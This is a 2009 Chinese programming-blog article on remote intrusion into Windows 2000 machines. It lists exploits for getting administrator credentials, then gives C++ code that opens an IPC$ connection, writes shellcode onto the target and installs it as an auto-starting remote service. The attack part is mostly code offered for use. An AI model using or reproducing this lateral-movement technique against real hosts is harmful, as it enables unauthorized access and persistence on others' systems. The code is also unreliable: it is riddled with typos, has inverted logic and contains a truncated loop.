龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 软件开发 > C/C++开发 >

CC++建立IPC连接之后续操作[组图]

时间:2009-12-22 15:42来源:未知 作者:admin 点击:
分享到:
如何建立IPC连接呢?不用我说,大家都知道: net use ipipc$ passWord /user:user。在这里,我们应想办法得到Administrator的权限的帐户和密码,方法有很多: ⑴流光扫描 ⑵NULL.printer缓冲区溢出

  如何建立IPC连接呢?不用我说,大家都知道:
  
  net use ipipc$ passWord /user:user。在这里,我们应想办法得到Administrator的权限的帐户和密码,方法有很多:
  
  ⑴流光扫描
  
  ⑵NULL.printer缓冲区溢出
  
  ⑶MS SQL空密码
  
   <!-- frame contents -->
<!-- /frame contents -->   ⑷Unicode漏洞
  
  ⑸远程终端输入法漏洞
  
  ⑹idq.dll漏洞
  
  ……太多了!具体方法我就不说了。
  
  得到Windows 2k administrator权限以后,可以做什么呢?想做什么就做什么呗!装什么服务的,当然是自己写的服务程序啦!你看s如何呢?下面就从编程的角度的来谈谈,读者要有一定的网络编程基础,同时有的地方没给出错误检查,有部分代码是参考别人的。一些函数和结构请参考MSDN。不足之处还请读者自己完善,也可以和我交流:heavyd@cngale.com。下面请看:
  
  1、如何建立IPC连接,请看以下代码:
  
   BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
  { char tmp[128]="";
   strcat(tmp,RemoteName);
   strcat(tmp,"ipc$");
   NETRESOUCE NetResouce;
   NetResouce.lpRemoteName=tmp;
   NetResouce.dwType=RESOURCETYPE_ANY;
   NetResouce.lpProvider=NULL;
   if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
  //建立连接!
  return FALSE;
   else
  return TRUE;
  }
  是不是很简单?对!就这么简单!那么,接着来吧!
  

  2、开始把程序写到主机上吧!
  
   BOOL SendFile(char *RemotePathAndFile)
  {
   HANDLE hRF;
   unsigned char ShellCode[]="write code here,such as x90x90";
   int WrittenSize=0;
   int Lenth=sizeof(ShellCode);
   hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
   CREATE_ALWAYS,
   FILE_ATTRIBUTE_NORMAL,
   NUL L);//建立文件
  if (hRF==INVALID_HANDLE_values) return FALSE;
  //写文件过程:
  for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
  return FALSE;
  Printf("Send file succeed! ");
  }
  
  3、就要成功了,最后一步啦!--启动服务!
  
  步骤:a、启动服务控制治理器(SCM),获得以SCM_HANDLE为类型的hSCM句柄;
  
   b、建立服务(CreateService),也是返回SCM_HANDLE型的句柄hSCS;
  
   c、启动服务(StartService)
  
   d、顺便提提:ControService可以控制服务的状态
  
   如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);
  
   //停止服务
  
   ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);
  
   //暂停服务
  
  请看下面代码:
  
   BOOL InstallService(char * Target,char * ServiceName,char * Filename,)
  
   {
  SC_HANDLE hSCM=NULL,hSCS=NULL;
  SERVICE_STATUS ServiceStatus;
  hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_Access);
  hSCS=CreateService(hSCM, //句柄
  ServiceName,//服务开始名
  ServiceName,//显示服务名
  SERVICE_ALL_ACCESS,//服务访问类型
  SERVICE_WIN32_OWN_PROCESS,//服务类型
  SERVICE_AUTO_START,//自动启动服务
  SERVICE_ERROR_IGNORE,//忽略错误
  FileName,//启动的文件名
  NULL,//name of load ordering group (载入组名)
  NULL,//标签标识符
  NULL,//相关性数组名
  NULL,//帐户(当前)
  NULL);//密码(当前)
  
  if(StartServic(hSCS,
  argc,//参数数
  argv);//参数
  {
   Sleep(30);//延时,开始启动服务
  while(QueryServiceStatus(hSCS,&ServiceStatus)
  {
  if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
  Sleep(30);
  else break;
  }
  if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
  return TRUE;
  else FALSE;
  }
  }
  
  好了,终于完成了这三步,大家可以慢慢享受自己的劳动成果了!
  
  注重:以上程序仅供参考,请在自己理解以后自己把它们写成完整的程序,不要直接照搬!
  
  
  
  
精彩图集

赞助商链接